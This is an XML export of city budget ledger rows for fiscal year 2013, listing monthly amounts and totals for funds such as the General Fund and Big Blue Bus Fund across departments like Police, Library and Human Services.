<row _id="1003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>142135.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1421</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>143556.0</total></row>
<row _id="1004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>111601</april><may>0</may><june>0.0</june><total>111601.0</total></row>
<row _id="1005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>140689.0</july><august>0</august><september>0.0</september><october>9204.0</october><november>0</november><december>0</december><january>0.0</january><february>1499</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>151392.0</total></row>
<row _id="1006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>83485.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>83485.0</total></row>
<row _id="1007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>76109.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>76109.0</total></row>
<row _id="1008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10390.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10390.0</total></row>
<row _id="1009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9283.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9283.0</total></row>
<row _id="1010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7405.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>74</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7479.0</total></row>
<row _id="1011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1535.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1535.0</total></row>
<row _id="1012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511747.0</object><object_description>CASH-IN-LIEU</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1800.0</total></row>
<row _id="1013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>383.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>387.0</total></row>
<row _id="1014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17964.0</july><august>0</august><september>0.0</september><october>486.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-259</april><may>0</may><june>0.0</june><total>18191.0</total></row>
<row _id="1015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2731.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-32</april><may>0</may><june>0.0</june><total>2692.0</total></row>
<row _id="1016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4484.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>45</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4529.0</total></row>
<row _id="1017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>952.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>952.0</total></row>
<row _id="1018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5608.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5608.0</total></row>
<row _id="1019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>685.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>685.0</total></row>
<row _id="1020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2985.0</july><august>0</august><september>0.0</september><october>-130.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2855.0</total></row>
<row _id="1021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1615.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1631.0</total></row>
<row _id="1022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="1023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>577062.0</object><object_description>OTHER TRAFFIC EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="1024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15320632.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15320632.0</total></row>
<row _id="1025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="1026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>101000.0</total></row>
<row _id="1027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>220.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>220.0</total></row>
<row _id="1028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6586.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>66</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6652.0</total></row>
<row _id="1029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>46300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46300.0</total></row>
<row _id="1030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2750.0</total></row>
<row _id="1031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="1032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4950.0</total></row>
<row _id="1033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2035.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2035.0</total></row>
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<row _id="1052"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>403010.0</object><object_description>OPERATING INTEREST - CITY</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-75250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-75250.0</total></row>
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<row _id="1056"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>97066.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>97066.0</total></row>
<row _id="1057"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
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<row _id="1059"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407501.0</object><object_description>CAPITAL GRANTS-MISC PROJ-TDA</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2013</fiscal_year><july>-12438377.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-12438377.0</total></row>
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<row _id="1061"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1086906.0</july><august>0</august><september>0.0</september><october>-74244.0</october><november>0</november><december>0</december><january>0.0</january><february>10127</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1022789.0</total></row>
<row _id="1062"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>16950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16950.0</total></row>
<row _id="1063"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>43076.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>431</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>43507.0</total></row>
<row _id="1064"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48013.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>596</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48609.0</total></row>
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<row _id="1066"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>34724.0</july><august>0</august><september>0.0</september><october>-38.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-401</april><may>0</may><june>0.0</june><total>34285.0</total></row>
<row _id="1067"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>86402.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>86402.0</total></row>
<row _id="1068"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>642483.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6425</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>648908.0</total></row>
<row _id="1069"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>111196.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1112</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>112308.0</total></row>
<row _id="1070"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>270517.0</july><august>0</august><september>0.0</september><october>-10000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>260517.0</total></row>
<row _id="1071"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>48467.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>485</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>48952.0</total></row>
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<row _id="1074"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>283891.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3156</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>287047.0</total></row>
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<row _id="1077"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6849.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6849.0</total></row>
